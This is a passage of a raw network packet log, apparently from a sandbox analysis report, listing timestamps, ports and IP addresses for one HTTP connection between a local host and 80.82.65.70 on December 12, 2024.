Dec 12, 2024 23:09:07.313576937 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.314268112 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.314317942 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.314347982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.314389944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.416946888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.416999102 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.417063951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.417149067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.417185068 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.417215109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.417247057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.418018103 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.418068886 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.418163061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.418644905 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.418893099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.419018984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.419059992 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.419750929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.419795036 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.419832945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.419874907 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.420636892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.420680046 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.420711040 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.420754910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.421483994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.421531916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.421607018 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.421879053 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.422305107 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.422341108 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.422364950 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.422394991 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.423151016 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.423191071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.423260927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.423304081 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.424065113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.424119949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.424148083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.424220085 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.424876928 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.424926043 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.424993038 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.425429106 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.425776005 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.425817013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.425899982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.426223993 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.426743031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.426754951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.426784039 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.426815987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.427501917 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.427542925 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.427620888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.427659988 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.428292990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.428334951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.428462982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.429203033 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.429214954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.429248095 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.429265976 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.429312944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.430064917 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.430100918 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.430162907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.430197954 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.430895090 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.430938959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.430994987 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.431036949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.431751966 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.431843996 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.431849957 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.431875944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.432594061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.432702065 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.432771921 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.433443069 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.433533907 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.433546066 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.433624029 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.434308052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.434361935 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.434410095 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.434504986 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.435172081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.435249090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.435300112 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.435355902 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.436049938 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.436113119 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.436120033 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.436147928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.458775997 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.458911896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.458962917 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.459180117 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.459213018 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.459265947 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.459295034 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.460064888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.460105896 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.460123062 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.460156918 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.460902929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.464545965 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.484786987 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.484934092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.484946012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.485012054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.485069990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.485115051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.485784054 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.485831976 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.485867023 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.485907078 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.486640930 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.486682892 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.486860037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.486900091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.487571001 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.487673044 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.487708092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.487747908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.488327980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.488450050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.488451004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.488492012 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.489206076 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.489244938 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.489337921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.490051031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.490096092 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.490101099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.490437984 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.490905046 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.490947962 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.490984917 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.491094112 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.491746902 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.491914034 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.491935968 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.491954088 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.492619038 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.492676973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.492746115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.492784977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.493472099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.493602991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.493635893 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.493654013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.494335890 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.494378090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.494442940 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.494966984 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.495219946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.495373964 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.495412111 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.496093988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.496185064 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.496217966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.496929884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.496978045 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.497064114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.497103930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.497771978 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.497848988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.497859001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.497889996 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.498641968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.498706102 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.498882055 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.498927116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.499552965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.499619961 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.499664068 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.500365973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.500406027 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.500475883 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.500555038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.501233101 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.501282930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.501313925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.501352072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.502068996 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.502109051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.502147913 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.502187014 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.502903938 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.503009081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.503041983 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.503895998 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.503964901 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.503971100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.503998041 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.504638910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.504681110 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.504750013 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.504945040 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.505494118 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.505553007 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.505578041 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.505609989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.506463051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.506480932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.506519079 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.609117031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.609196901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.609214067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.609249115 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.609474897 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.609518051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.609606028 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.609648943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.610316992 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.610373974 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.610425949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.610467911 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.611228943 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.611272097 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.611290932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.611475945 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.612077951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.612174988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.612225056 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.612895966 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.612967014 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.613028049 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.613085985 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.613766909 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.613828897 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.613889933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.613934994 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.614639044 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.614695072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.614737988 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.615458965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.615509987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.615623951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.615669966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.616381884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.616393089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.616440058 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.616962910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.617232084 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.617274046 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.617347002 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.617924929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.618148088 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.618293047 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.618333101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.618921995 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.618968010 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.619029999 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.619065046 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.619784117 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.619849920 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.619859934 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.619900942 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.620620012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.620728016 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.620773077 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.621561050 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.621607065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.621646881 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.621681929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.622332096 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.622375011 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.622458935 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.622493029 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.623209000 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.623311043 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.623341084 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.623456001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.624068975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.624111891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.624159098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.624202013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.624902010 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.624982119 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.625021935 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.625073910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.625787973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.625861883 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.625911951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.625976086 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.626626015 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.626697063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.626732111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.626815081 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.627507925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.627557993 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.627610922 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.627696991 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.628318071 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.628360033 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.650620937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.650671005 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.650731087 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.650774002 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.651020050 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.651061058 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.651154995 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.651195049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.651896954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.651935101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.652079105 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.652112961 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.652987003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.654194117 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.676413059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.676558971 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.676618099 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.676795959 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.676928997 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.676937103 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.676985979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.677660942 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.677778959 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.677822113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.678502083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.678638935 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.678679943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.679374933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.679428101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.679459095 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.679493904 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.680243969 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.680319071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.680349112 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.680408001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.681082010 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.681127071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.681159973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.681694984 CET	49744	80	192.168.2.4	80.82.65.70
